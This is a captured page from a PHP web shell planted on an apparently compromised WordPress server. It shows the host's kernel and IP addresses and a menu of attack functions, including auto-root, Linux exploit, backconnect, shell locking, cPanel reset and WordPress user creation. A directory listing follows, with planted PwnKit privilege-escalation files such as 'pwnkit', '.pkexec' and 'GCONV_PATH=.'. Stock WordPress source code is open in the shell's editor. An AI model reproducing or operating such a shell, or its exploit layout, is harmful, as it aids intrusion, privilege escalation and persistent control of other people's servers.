Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 172.69.59.94
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
home /
administrator /
landing.sbs.cy /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
block-bindings
[ DIR ]
drwxr-xr-x
block-patterns
[ DIR ]
drwxr-xr-x
block-supports
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
html-api
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
interactivity-api
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
l10n
[ DIR ]
drwxr-xr-x
php-compat
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
sitemaps
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
style-engine
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
admin-bar.php
36.03
KB
-rw-r--r--
atomlib.php
11.67
KB
-rw-r--r--
author-template.php
18.51
KB
-rw-r--r--
block-bindings.php
5.51
KB
-rw-r--r--
block-editor.php
27.27
KB
-rw-r--r--
block-i18n.json
316
B
-rw-r--r--
block-patterns.php
12.85
KB
-rw-r--r--
block-template-utils.php
52.6
KB
-rw-r--r--
block-template.php
12
KB
-rw-r--r--
blocks.php
80
KB
-rw-r--r--
bookmark-template.php
12.61
KB
-rw-r--r--
bookmark.php
15.06
KB
-rw-r--r--
cache-compat.php
5.83
KB
-rw-r--r--
cache.php
13.16
KB
-rw-r--r--
canonical.php
33.7
KB
-rw-r--r--
capabilities.php
39.09
KB
-rw-r--r--
category-template.php
55.67
KB
-rw-r--r--
category.php
12.41
KB
-rw-r--r--
class-IXR.php
2.48
KB
-rw-r--r--
class-avif-info.php
28.92
KB
-rw-r--r--
class-feed.php
529
B
-rw-r--r--
class-http.php
367
B
-rw-r--r--
class-json.php
42.66
KB
-rw-r--r--
class-oembed.php
401
B
-rw-r--r--
class-phpass.php
6.55
KB
-rw-r--r--
class-phpmailer.php
664
B
-rw-r--r--
class-pop3.php
20.48
KB
-rw-r--r--
class-requests.php
2.18
KB
-rw-r--r--
class-simplepie.php
95.76
KB
-rw-r--r--
class-smtp.php
457
B
-rw-r--r--
class-snoopy.php
36.83
KB
-rw-r--r--
class-walker-category-dropdown...
2.41
KB
-rw-r--r--
class-walker-category.php
8.28
KB
-rw-r--r--
class-walker-comment.php
13.88
KB
-rw-r--r--
class-walker-nav-menu.php
11.05
KB
-rw-r--r--
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
class-walker-page.php
7.43
KB
-rw-r--r--
class-wp-admin-bar.php
17.43
KB
-rw-r--r--
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
class-wp-application-passwords...
12.55
KB
-rw-r--r--
class-wp-block-bindings-regist...
8.78
KB
-rw-r--r--
class-wp-block-bindings-source...
2.13
KB
-rw-r--r--
class-wp-block-editor-context....
1.32
KB
-rw-r--r--
class-wp-block-list.php
4.65
KB
-rw-r--r--
class-wp-block-parser-block.ph...
2.5
KB
-rw-r--r--
class-wp-block-parser-frame.ph...
1.87
KB
-rw-r--r--
class-wp-block-parser.php
11.26
KB
-rw-r--r--
class-wp-block-pattern-categor...
5.25
KB
-rw-r--r--
class-wp-block-patterns-regist...
11.34
KB
-rw-r--r--
class-wp-block-styles-registry...
5.75
KB
-rw-r--r--
class-wp-block-supports.php
5.39
KB
-rw-r--r--
class-wp-block-template.php
1.91
KB
-rw-r--r--
class-wp-block-type-registry.p...
4.9
KB
-rw-r--r--
class-wp-block-type.php
16.81
KB
-rw-r--r--
class-wp-block.php
16.71
KB
-rw-r--r--
class-wp-classic-to-block-menu...
3.99
KB
-rw-r--r--
class-wp-comment-query.php
46.86
KB
-rw-r--r--
class-wp-comment.php
9.15
KB
-rw-r--r--
class-wp-customize-control.php
25.25
KB
-rw-r--r--
class-wp-customize-manager.php
197.52
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
55.99
KB
-rw-r--r--
class-wp-customize-panel.php
10.42
KB
-rw-r--r--
class-wp-customize-section.php
10.98
KB
-rw-r--r--
class-wp-customize-setting.php
29.19
KB
-rw-r--r--
class-wp-customize-widgets.php
69.93
KB
-rw-r--r--
class-wp-date-query.php
34.89
KB
-rw-r--r--
class-wp-dependencies.php
13.73
KB
-rw-r--r--
class-wp-dependency.php
2.57
KB
-rw-r--r--
class-wp-duotone.php
38.61
KB
-rw-r--r--
class-wp-editor.php
70.47
KB
-rw-r--r--
class-wp-embed.php
15.62
KB
-rw-r--r--
class-wp-error.php
7.33
KB
-rw-r--r--
class-wp-fatal-error-handler.p...
7.76
KB
-rw-r--r--
class-wp-feed-cache-transient....
2.53
KB
-rw-r--r--
class-wp-feed-cache.php
969
B
-rw-r--r--
class-wp-hook.php
15.63
KB
-rw-r--r--
class-wp-http-cookie.php
7.22
KB
-rw-r--r--
class-wp-http-curl.php
12.25
KB
-rw-r--r--
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.42
KB
-rw-r--r--
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.97
KB
-rw-r--r--
class-wp-http-requests-respons...
4.3
KB
-rw-r--r--
class-wp-http-response.php
2.91
KB
-rw-r--r--
class-wp-http-streams.php
16.46
KB
-rw-r--r--
class-wp-http.php
39.76
KB
-rw-r--r--
class-wp-image-editor-gd.php
18.44
KB
-rw-r--r--
class-wp-image-editor-imagick....
31.35
KB
-rw-r--r--
class-wp-image-editor.php
17.19
KB
-rw-r--r--
class-wp-list-util.php
7.27
KB
-rw-r--r--
class-wp-locale-switcher.php
6.47
KB
-rw-r--r--
class-wp-locale.php
15.74
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.79
KB
-rw-r--r--
class-wp-meta-query.php
29.82
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
6.67
KB
-rw-r--r--
class-wp-navigation-fallback.p...
9
KB
-rw-r--r--
class-wp-network-query.php
18.99
KB
-rw-r--r--
class-wp-network.php
11.9
KB
-rw-r--r--
class-wp-object-cache.php
17.18
KB
-rw-r--r--
class-wp-oembed-controller.php
6.72
KB
-rw-r--r--
class-wp-oembed.php
30.66
KB
-rw-r--r--
class-wp-paused-extensions-sto...
4.97
KB
-rw-r--r--
class-wp-plugin-dependencies.p...
24.8
KB
-rw-r--r--
class-wp-post-type.php
29.28
KB
-rw-r--r--
class-wp-post.php
6.33
KB
-rw-r--r--
class-wp-query.php
148.28
KB
-rw-r--r--
class-wp-recovery-mode-cookie-...
6.72
KB
-rw-r--r--
class-wp-recovery-mode-email-s...
10.92
KB
-rw-r--r--
class-wp-recovery-mode-key-ser...
4.49
KB
-rw-r--r--
class-wp-recovery-mode-link-se...
3.38
KB
-rw-r--r--
class-wp-recovery-mode.php
11.17
KB
-rw-r--r--
class-wp-rewrite.php
61.94
KB
-rw-r--r--
class-wp-role.php
2.46
KB
-rw-r--r--
class-wp-roles.php
8.38
KB
-rw-r--r--
class-wp-script-modules.php
13.16
KB
-rw-r--r--
class-wp-scripts.php
27.25
KB
-rw-r--r--
class-wp-session-tokens.php
7.28
KB
-rw-r--r--
class-wp-simplepie-file.php
3.3
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
30.4
KB
-rw-r--r--
class-wp-site.php
7.28
KB
-rw-r--r--
class-wp-styles.php
10.64
KB
-rw-r--r--
class-wp-tax-query.php
19.1
KB
-rw-r--r--
class-wp-taxonomy.php
18.13
KB
-rw-r--r--
class-wp-term-query.php
40.2
KB
-rw-r--r--
class-wp-term.php
5.17
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
979
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
18.37
KB
-rw-r--r--
class-wp-textdomain-registry.p...
9.64
KB
-rw-r--r--
class-wp-theme-json-data.php
1.52
KB
-rw-r--r--
class-wp-theme-json-resolver.p...
24.6
KB
-rw-r--r--
class-wp-theme-json-schema.php
4.12
KB
-rw-r--r--
class-wp-theme-json.php
132.21
KB
-rw-r--r--
class-wp-theme.php
62.81
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.92
KB
-rw-r--r--
class-wp-user-query.php
42.5
KB
-rw-r--r--
class-wp-user-request.php
2.17
KB
-rw-r--r--
class-wp-user.php
22.29
KB
-rw-r--r--
class-wp-walker.php
12.87
KB
-rw-r--r--
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
class-wp-widget.php
17.96
KB
-rw-r--r--
class-wp-xmlrpc-server.php
209.91
KB
-rw-r--r--
class-wp.php
25.51
KB
-rw-r--r--
class-wpdb.php
116.67
KB
-rw-r--r--
class.wp-dependencies.php
373
B
-rw-r--r--
class.wp-scripts.php
343
B
-rw-r--r--
class.wp-styles.php
338
B
-rw-r--r--
comment-template.php
99.25
KB
-rw-r--r--
comment.php
126.1
KB
-rw-r--r--
compat.php
15.85
KB
-rw-r--r--
cron.php
40.51
KB
-rw-r--r--
date.php
400
B
-rw-r--r--
default-constants.php
10.91
KB
-rw-r--r--
default-filters.php
34.18
KB
-rw-r--r--
default-widgets.php
2.17
KB
-rw-r--r--
deprecated.php
181.5
KB
-rw-r--r--
embed-template.php
338
B
-rw-r--r--
embed.php
36.79
KB
-rw-r--r--
error-protection.php
4.02
KB
-rw-r--r--
feed-atom-comments.php
5.38
KB
-rw-r--r--
feed-atom.php
2.98
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
4.04
KB
-rw-r--r--
feed-rss2.php
3.71
KB
-rw-r--r--
feed.php
22.52
KB
-rw-r--r--
fonts.php
9.14
KB
-rw-r--r--
formatting.php
327.83
KB
-rw-r--r--
functions.php
271.83
KB
-rw-r--r--
functions.wp-scripts.php
14.22
KB
-rw-r--r--
functions.wp-styles.php
8.38
KB
-rw-r--r--
general-template.php
164
KB
-rw-r--r--
global-styles-and-settings.php
20.76
KB
-rw-r--r--
http.php
23.29
KB
-rw-r--r--
https-detection.php
5.53
KB
-rw-r--r--
https-migration.php
4.63
KB
-rw-r--r--
kses.php
70.26
KB
-rw-r--r--
l10n.php
63.86
KB
-rw-r--r--
link-template.php
152.42
KB
-rw-r--r--
load.php
53.69
KB
-rw-r--r--
locale.php
162
B
-rw-r--r--
media-template.php
60.37
KB
-rw-r--r--
media.php
205.28
KB
-rw-r--r--
meta.php
62.58
KB
-rw-r--r--
ms-blogs.php
25.13
KB
-rw-r--r--
ms-default-constants.php
4.79
KB
-rw-r--r--
ms-default-filters.php
6.48
KB
-rw-r--r--
ms-deprecated.php
21.25
KB
-rw-r--r--
ms-files.php
2.65
KB
-rw-r--r--
ms-functions.php
89.1
KB
-rw-r--r--
ms-load.php
19.4
KB
-rw-r--r--
ms-network.php
3.69
KB
-rw-r--r--
ms-settings.php
4.03
KB
-rw-r--r--
ms-site.php
39.55
KB
-rw-r--r--
nav-menu-template.php
25.18
KB
-rw-r--r--
nav-menu.php
43.04
KB
-rw-r--r--
option.php
89.21
KB
-rw-r--r--
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
110.49
KB
-rw-r--r--
plugin.php
34.63
KB
-rw-r--r--
post-formats.php
6.93
KB
-rw-r--r--
post-template.php
65.23
KB
-rw-r--r--
post-thumbnail-template.php
10.07
KB
-rw-r--r--
post.php
275.23
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
36.17
KB
-rw-r--r--
registration-functions.php
200
B
-rw-r--r--
registration.php
200
B
-rw-r--r--
rest-api.php
96.16
KB
-rw-r--r--
revision.php
30.18
KB
-rw-r--r--
rewrite.php
19.06
KB
-rw-r--r--
robots-template.php
5.06
KB
-rw-r--r--
rss-functions.php
255
B
-rw-r--r--
rss.php
22.54
KB
-rw-r--r--
script-loader.php
127.46
KB
-rw-r--r--
script-modules.php
5.88
KB
-rw-r--r--
session.php
258
B
-rw-r--r--
shortcodes.php
23.39
KB
-rw-r--r--
sitemaps.php
3.16
KB
-rw-r--r--
spl-autoload-compat.php
441
B
-rw-r--r--
style-engine.php
7.03
KB
-rw-r--r--
taxonomy.php
170.9
KB
-rw-r--r--
template-canvas.php
544
B
-rw-r--r--
template-loader.php
2.94
KB
-rw-r--r--
template.php
23.59
KB
-rw-r--r--
theme-i18n.json
1.12
KB
-rw-r--r--
theme-previews.php
2.77
KB
-rw-r--r--
theme-templates.php
6.08
KB
-rw-r--r--
theme.json
7.19
KB
-rw-r--r--
theme.php
129.98
KB
-rw-r--r--
update.php
35.96
KB
-rw-r--r--
user.php
167.56
KB
-rw-r--r--
vars.php
6.24
KB
-rw-r--r--
version.php
930
B
-rw-r--r--
widgets.php
68.95
KB
-rw-r--r--
wp-db.php
445
B
-rw-r--r--
wp-diff.php
647
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-customize-control.php
<?php /** * WordPress Customize Control classes * * @package WordPress * @subpackage Customize * @since 3.4.0 */ /** * Customize Control class. * * @since 3.4.0 */ #[AllowDynamicProperties] class WP_Customize_Control { /** * Incremented with each new class instantiation, then stored in $instance_number. * * Used when sorting two instances whose priorities are equal. * * @since 4.1.0 * @var int */ protected static $instance_count = 0; /** * Order in which this instance was created in relation to other instances. * * @since 4.1.0 * @var int */ public $instance_number; /** * Customizer manager. * * @since 3.4.0 * @var WP_Customize_Manager */ public $manager; /** * Control ID. * * @since 3.4.0 * @var string */ public $id; /** * All settings tied to the control. * * @since 3.4.0 * @var array */ public $settings; /** * The primary setting for the control (if there is one). * * @since 3.4.0 * @var string|WP_Customize_Setting|null */ public $setting = 'default'; /** * Capability required to use this control. * * Normally this is empty and the capability is derived from the capabilities * of the associated `$settings`. * * @since 4.5.0 * @var string */ public $capability; /** * Order priority to load the control in Customizer. * * @since 3.4.0 * @var int */ public $priority = 10; /** * Section the control belongs to. * * @since 3.4.0 * @var string */ public $section = ''; /** * Label for the control. * * @since 3.4.0 * @var string */ public $label = ''; /** * Description for the control. * * @since 4.0.0 * @var string */ public $description = ''; /** * List of choices for 'radio' or 'select' type controls, where values are the keys, and labels are the values. * * @since 3.4.0 * @var array */ public $choices = array(); /** * List of custom input attributes for control output, where attribute names are the keys and values are the values. * * Not used for 'checkbox', 'radio', 'select', 'textarea', or 'dropdown-pages' control types. * * @since 4.0.0 * @var array */ public $input_attrs = array(); /** * Show UI for adding new content, currently only used for the dropdown-pages control. * * @since 4.7.0 * @var bool */ public $allow_addition = false; /** * @deprecated It is better to just call the json() method * @since 3.4.0 * @var array */ public $json = array(); /** * Control's Type. * * @since 3.4.0 * @var string */ public $type = 'text'; /** * Callback. * * @since 4.0.0 * * @see WP_Customize_Control::active() * * @var callable Callback is called with one argument, the instance of * WP_Customize_Control, and returns bool to indicate whether * the control is active (such as it relates to the URL * currently being previewed). */ public $active_callback = ''; /** * Constructor. * * Supplied `$args` override class property defaults. * * If `$args['settings']` is not defined, use the `$id` as the setting ID. * * @since 3.4.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id Control ID. * @param array $args { * Optional. Array of properties for the new Control object. Default empty array. * * @type int $instance_number Order in which this instance was created in relation * to other instances. * @type WP_Customize_Manager $manager Customizer bootstrap instance. * @type string $id Control ID. * @type array $settings All settings tied to the control. If undefined, `$id` will * be used. * @type string $setting The primary setting for the control (if there is one). * Default 'default'. * @type string $capability Capability required to use this control. Normally this is empty * and the capability is derived from `$settings`. * @type int $priority Order priority to load the control. Default 10. * @type string $section Section the control belongs to. Default empty. * @type string $label Label for the control. Default empty. * @type string $description Description for the control. Default empty. * @type array $choices List of choices for 'radio' or 'select' type controls, where * values are the keys, and labels are the values. * Default empty array. * @type array $input_attrs List of custom input attributes for control output, where * attribute names are the keys and values are the values. Not * used for 'checkbox', 'radio', 'select', 'textarea', or * 'dropdown-pages' control types. Default empty array. * @type bool $allow_addition Show UI for adding new content, currently only used for the * dropdown-pages control. Default false. * @type array $json Deprecated. Use WP_Customize_Control::json() instead. * @type string $type Control type. Core controls include 'text', 'checkbox', * 'textarea', 'radio', 'select', and 'dropdown-pages'. Additional * input types such as 'email', 'url', 'number', 'hidden', and * 'date' are supported implicitly. Default 'text'. * @type callable $active_callback Active callback. * } */ public function __construct( $manager, $id, $args = array() ) { $keys = array_keys( get_object_vars( $this ) ); foreach ( $keys as $key ) { if ( isset( $args[ $key ] ) ) { $this->$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; if ( empty( $this->active_callback ) ) { $this->active_callback = array( $this, 'active_callback' ); } self::$instance_count += 1; $this->instance_number = self::$instance_count; // Process settings. if ( ! isset( $this->settings ) ) { $this->settings = $id; } $settings = array(); if ( is_array( $this->settings ) ) { foreach ( $this->settings as $key => $setting ) { $settings[ $key ] = $this->manager->get_setting( $setting ); } } elseif ( is_string( $this->settings ) ) { $this->setting = $this->manager->get_setting( $this->settings ); $settings['default'] = $this->setting; } $this->settings = $settings; } /** * Enqueue control related scripts/styles. * * @since 3.4.0 */ public function enqueue() {} /** * Check whether control is active to current Customizer preview. * * @since 4.0.0 * * @return bool Whether the control is active to the current preview. */ final public function active() { $control = $this; $active = call_user_func( $this->active_callback, $this ); /** * Filters response of WP_Customize_Control::active(). * * @since 4.0.0 * * @param bool $active Whether the Customizer control is active. * @param WP_Customize_Control $control WP_Customize_Control instance. */ $active = apply_filters( 'customize_control_active', $active, $control ); return $active; } /** * Default callback used when invoking WP_Customize_Control::active(). * * Subclasses can override this with their specific logic, or they may * provide an 'active_callback' argument to the constructor. * * @since 4.0.0 * * @return true Always true. */ public function active_callback() { return true; } /** * Fetch a setting's value. * Grabs the main setting by default. * * @since 3.4.0 * * @param string $setting_key * @return mixed The requested setting's value, if the setting exists. */ final public function value( $setting_key = 'default' ) { if ( isset( $this->settings[ $setting_key ] ) ) { return $this->settings[ $setting_key ]->value(); } } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 3.4.0 */ public function to_json() { $this->json['settings'] = array(); foreach ( $this->settings as $key => $setting ) { $this->json['settings'][ $key ] = $setting->id; } $this->json['type'] = $this->type; $this->json['priority'] = $this->priority; $this->json['active'] = $this->active(); $this->json['section'] = $this->section; $this->json['content'] = $this->get_content(); $this->json['label'] = $this->label; $this->json['description'] = $this->description; $this->json['instanceNumber'] = $this->instance_number; if ( 'dropdown-pages' === $this->type ) { $this->json['allow_addition'] = $this->allow_addition; } } /** * Get the data to export to the client via JSON. * * @since 4.1.0 * * @return array Array of parameters passed to the JavaScript. */ public function json() { $this->to_json(); return $this->json; } /** * Checks if the user can use this control. * * Returns false if the user cannot manipulate one of the associated settings, * or if one of the associated settings does not exist. Also returns false if * the associated section does not exist or if its capability check returns * false. * * @since 3.4.0 * * @return bool False if theme doesn't support the control or user doesn't have the required permissions, otherwise true. */ final public function check_capabilities() { if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) { return false; } foreach ( $this->settings as $setting ) { if ( ! $setting || ! $setting->check_capabilities() ) { return false; } } $section = $this->manager->get_section( $this->section ); if ( isset( $section ) && ! $section->check_capabilities() ) { return false; } return true; } /** * Get the control's content for insertion into the Customizer pane. * * @since 4.1.0 * * @return string Contents of the control. */ final public function get_content() { ob_start(); $this->maybe_render(); return trim( ob_get_clean() ); } /** * Check capabilities and render the control. * * @since 3.4.0 * @uses WP_Customize_Control::render() */ final public function maybe_render() { if ( ! $this->check_capabilities() ) { return; } /** * Fires just before the current Customizer control is rendered. * * @since 3.4.0 * * @param WP_Customize_Control $control WP_Customize_Control instance. */ do_action( 'customize_render_control', $this ); /** * Fires just before a specific Customizer control is rendered. * * The dynamic portion of the hook name, `$this->id`, refers to * the control ID. * * @since 3.4.0 * * @param WP_Customize_Control $control WP_Customize_Control instance. */ do_action( "customize_render_control_{$this->id}", $this ); $this->render(); } /** * Renders the control wrapper and calls $this->render_content() for the internals. * * @since 3.4.0 */ protected function render() { $id = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id ); $class = 'customize-control customize-control-' . $this->type; printf( '<li id="%s" class="%s">', esc_attr( $id ), esc_attr( $class ) ); $this->render_content(); echo '</li>'; } /** * Get the data link attribute for a setting. * * @since 3.4.0 * @since 4.9.0 Return a `data-customize-setting-key-link` attribute if a setting is not registered for the supplied setting key. * * @param string $setting_key * @return string Data link parameter, a `data-customize-setting-link` attribute if the `$setting_key` refers to a pre-registered setting, * and a `data-customize-setting-key-link` attribute if the setting is not yet registered. */ public function get_link( $setting_key = 'default' ) { if ( isset( $this->settings[ $setting_key ] ) && $this->settings[ $setting_key ] instanceof WP_Customize_Setting ) { return 'data-customize-setting-link="' . esc_attr( $this->settings[ $setting_key ]->id ) . '"'; } else { return 'data-customize-setting-key-link="' . esc_attr( $setting_key ) . '"'; } } /** * Render the data link attribute for the control's input element. * * @since 3.4.0 * @uses WP_Customize_Control::get_link() * * @param string $setting_key */ public function link( $setting_key = 'default' ) { echo $this->get_link( $setting_key ); } /** * Render the custom attributes for the control's input element. * * @since 4.0.0 */ public function input_attrs() { foreach ( $this->input_attrs as $attr => $value ) { echo $attr . '="' . esc_attr( $value ) . '" '; } } /** * Render the control's content. * * Allows the content to be overridden without having to rewrite the wrapper in `$this::render()`. * * Supports basic input types `text`, `checkbox`, `textarea`, `radio`, `select` and `dropdown-pages`. * Additional input types such as `email`, `url`, `number`, `hidden` and `date` are supported implicitly. * * Control content can alternately be rendered in JS. See WP_Customize_Control::print_template(). * * @since 3.4.0 */ protected function render_content() { $input_id = '_customize-input-' . $this->id; $description_id = '_customize-description-' . $this->id; $describedby_attr = ( ! empty( $this->description ) ) ? ' aria-describedby="' . esc_attr( $description_id ) . '" ' : ''; switch ( $this->type ) { case 'checkbox': ?> <span class="customize-inside-control-row"> <input id="<?php echo esc_attr( $input_id ); ?>" <?php echo $describedby_attr; ?> type="checkbox" value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> <?php checked( $this->value() ); ?> /> <label for="<?php echo esc_attr( $input_id ); ?>"><?php echo esc_html( $this->label ); ?></label> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> </span> <?php break; case 'radio': if ( empty( $this->choices ) ) { return; } $name = '_customize-radio-' . $this->id; ?> <?php if ( ! empty( $this->label ) ) : ?> <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <?php foreach ( $this->choices as $value => $label ) : ?> <span class="customize-inside-control-row"> <input id="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>" type="radio" <?php echo $describedby_attr; ?> value="<?php echo esc_attr( $value ); ?>" name="<?php echo esc_attr( $name ); ?>" <?php $this->link(); ?> <?php checked( $this->value(), $value ); ?> /> <label for="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>"><?php echo esc_html( $label ); ?></label> </span> <?php endforeach; ?> <?php break; case 'select': if ( empty( $this->choices ) ) { return; } ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <select id="<?php echo esc_attr( $input_id ); ?>" <?php echo $describedby_attr; ?> <?php $this->link(); ?>> <?php foreach ( $this->choices as $value => $label ) { echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . esc_html( $label ) . '</option>'; } ?> </select> <?php break; case 'textarea': ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <textarea id="<?php echo esc_attr( $input_id ); ?>" rows="5" <?php echo $describedby_attr; ?> <?php $this->input_attrs(); ?> <?php $this->link(); ?> ><?php echo esc_textarea( $this->value() ); ?></textarea> <?php break; case 'dropdown-pages': ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <?php $dropdown_name = '_customize-dropdown-pages-' . $this->id; $show_option_none = __( '— Select —' ); $option_none_value = '0'; $dropdown = wp_dropdown_pages( array( 'name' => $dropdown_name, 'echo' => 0, 'show_option_none' => $show_option_none, 'option_none_value' => $option_none_value, 'selected' => $this->value(), ) ); if ( empty( $dropdown ) ) { $dropdown = sprintf( '<select id="%1$s" name="%1$s">', esc_attr( $dropdown_name ) ); $dropdown .= sprintf( '<option value="%1$s">%2$s</option>', esc_attr( $option_none_value ), esc_html( $show_option_none ) ); $dropdown .= '</select>'; } // Hackily add in the data link parameter. $dropdown = str_replace( '<select', '<select ' . $this->get_link() . ' id="' . esc_attr( $input_id ) . '" ' . $describedby_attr, $dropdown ); /* * Even more hacikly add auto-draft page stubs. * @todo Eventually this should be removed in favor of the pages being injected into the underlying get_pages() call. * See <https://github.com/xwp/wp-customize-posts/pull/250>. */ $nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' ); if ( $nav_menus_created_posts_setting && current_user_can( 'publish_pages' ) ) { $auto_draft_page_options = ''; foreach ( $nav_menus_created_posts_setting->value() as $auto_draft_page_id ) { $post = get_post( $auto_draft_page_id ); if ( $post && 'page' === $post->post_type ) { $auto_draft_page_options .= sprintf( '<option value="%1$s">%2$s</option>', esc_attr( $post->ID ), esc_html( $post->post_title ) ); } } if ( $auto_draft_page_options ) { $dropdown = str_replace( '</select>', $auto_draft_page_options . '</select>', $dropdown ); } } echo $dropdown; ?> <?php if ( $this->allow_addition && current_user_can( 'publish_pages' ) && current_user_can( 'edit_theme_options' ) ) : // Currently tied to menus functionality. ?> <button type="button" class="button-link add-new-toggle"> <?php /* translators: %s: Add New Page label. */ printf( __( '+ %s' ), get_post_type_object( 'page' )->labels->add_new_item ); ?> </button> <div class="new-content-item"> <label for="create-input-<?php echo esc_attr( $this->id ); ?>"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'New page title' ); ?> </span></label> <input type="text" id="create-input-<?php echo esc_attr( $this->id ); ?>" class="create-item-input" placeholder="<?php esc_attr_e( 'New page title…' ); ?>"> <button type="button" class="button add-content"><?php _e( 'Add' ); ?></button> </div> <?php endif; ?> <?php break; default: ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <input id="<?php echo esc_attr( $input_id ); ?>" type="<?php echo esc_attr( $this->type ); ?>" <?php echo $describedby_attr; ?> <?php $this->input_attrs(); ?> <?php if ( ! isset( $this->input_attrs['value'] ) ) : ?> value="<?php echo esc_attr( $this->value() ); ?>" <?php endif; ?> <?php $this->link(); ?> /> <?php break; } } /** * Render the control's JS template. * * This function is only run for control types that have been registered with * WP_Customize_Manager::register_control_type(). * * In the future, this will also print the template for the control's container * element and be override-able. * * @since 4.1.0 */ final public function print_template() { ?> <script type="text/html" id="tmpl-customize-control-<?php echo esc_attr( $this->type ); ?>-content"> <?php $this->content_template(); ?> </script> <?php } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding WP_Customize_Control::to_json(). * * @see WP_Customize_Control::print_template() * * @since 4.1.0 */ protected function content_template() {} } /** * WP_Customize_Color_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-color-control.php'; /** * WP_Customize_Media_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-media-control.php'; /** * WP_Customize_Upload_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-upload-control.php'; /** * WP_Customize_Image_Control class. */ require_once ABSPATH . WPINC . 